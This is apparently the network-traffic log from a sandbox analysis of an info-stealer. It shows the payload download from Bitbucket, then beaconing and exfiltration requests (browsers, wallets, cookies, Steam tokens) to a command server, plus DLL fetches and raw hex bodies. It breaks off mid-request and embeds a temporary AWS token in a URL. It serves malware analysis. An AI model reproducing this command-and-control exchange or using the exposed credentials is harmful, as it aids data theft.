Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 05:54:35 GMTContent-Type: application/octet-streamContent-Length: 3247616Last-Modified: Mon, 23 Dec 2024 05:12:44 GMTConnection: keep-aliveETag: "6768f14c-318e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 31 00 00 04 00 00 55 d5 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 7f 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 7f 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 6d 66 67 6e 76 6e 6a 00 d0 2a 00 00 b0 06 00 00 d0 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 6b 66 6c 6d 6e 6b 00 10 00 00 00 80 31 00 00 04 00 00 00 68 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 31 00 00 22 00 00 00 6c 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/install1.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/0f40a96a-7848-4016-a203-07b519fba576/install1.exe?response-content-disposition=attachment%3B%20filename%3D%22install1.exe%22&AWSAccessKeyId=ASIA6KOSE3BNMPYV42BK&Signature=HvQKw%2B7rPC9Au0reM8tFmSjyUuM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJGMEQCIGcbaj75RfyE4qJo3r3XVFv3yUBNzTvyq65K5fo0tgFJAiBoqozV5jurczfh%2BSCdTr%2Fn0o5BgClG1HcRgZdtNDu93yqwAgjP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMwGEzkuCFvdAzAorpKoQC9rOOY%2BI9aQSdvhjp9yQkQR%2BzmsQ%2FvS%2Ffu3rooGSLI9RF%2BjTHdXIDSOVEiwEHtVbQj4MYo0iuUHRNTru1P5WbM%2Bj3wnTHjchLeS%2BeH%2BRqt0CTXmpgd%2FG9LbMamEWt35cejrsMqpQofhEIVwUdliGqM8qh8F4Uz9KIgeElsJB56QYm4jTT82WeAM5%2BP4qQGa6K3ZGnH5d8lIrzv3gZWPj8JnvWB7N7oKK0RjsAgF0jRlqkjB6eIUYvVVHnMZ%2B6I27DMzZfZdh3GEZopVh0PKDKAfMjEmv%2FiGoO1UqPQ%2FEoDIl3bCg3aJHEQ0fv5fF34PeoXDwxQCd3qP7aB5o0CYaDrK4xCI4w%2B%2FGjuwY6ngHSuzeaxXZkRxD7%2By%2Fm%2BxWiZgEW0o6lvpB7UK%2FNMTWVuL8jqr9PQ7SFCbwmTJLcrHo5FhiihendM5N5qfoHvDGjVn9NyW8Xk4NI8ApSY7v8kBV0ClMfDqGcqBSsN0yRcaQfiNXkFKsNZlEfo4GsWuOQnuYWVJASTvl3lRQ0XlHPMe8Jc9j%2FxKBwWsANHBvcx1O0kgJX2SFLZ7%2FxnEBQrQ%3D%3D&Expires=1734934531 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 39 33 38 33 44 34 33 30 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="hwid"729383D430CB1681895587------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="build"stok------JKEGDHCFCAAECAKECBAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="message"browsers------IIEBGIDAAFHIJJJJEGCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKECHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="message"plugins------JDHJKKFBAEGDGDGCBKEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="message"fplugins------IDAEHCFHJJJJECAAFBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAHost: 185.215.113.206Content-Length: 5315Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBGHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FHCGHJDBFIIDGDHIJDBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIEBGHDAEBGDGCFIIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file"------HDGIEBGHDAEBGDGCFIID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 2d 2d 0d 0a Data Ascii: ------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file"------KECGDBFCBKFIDHIDHDHI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHDHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="message"wallets------JDBFIIEBGCAKKEBFBAAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="message"files------EGCGHCBKFCFBFHIDHDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="file"------EGIDBFBFHJDGCAKEGHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; 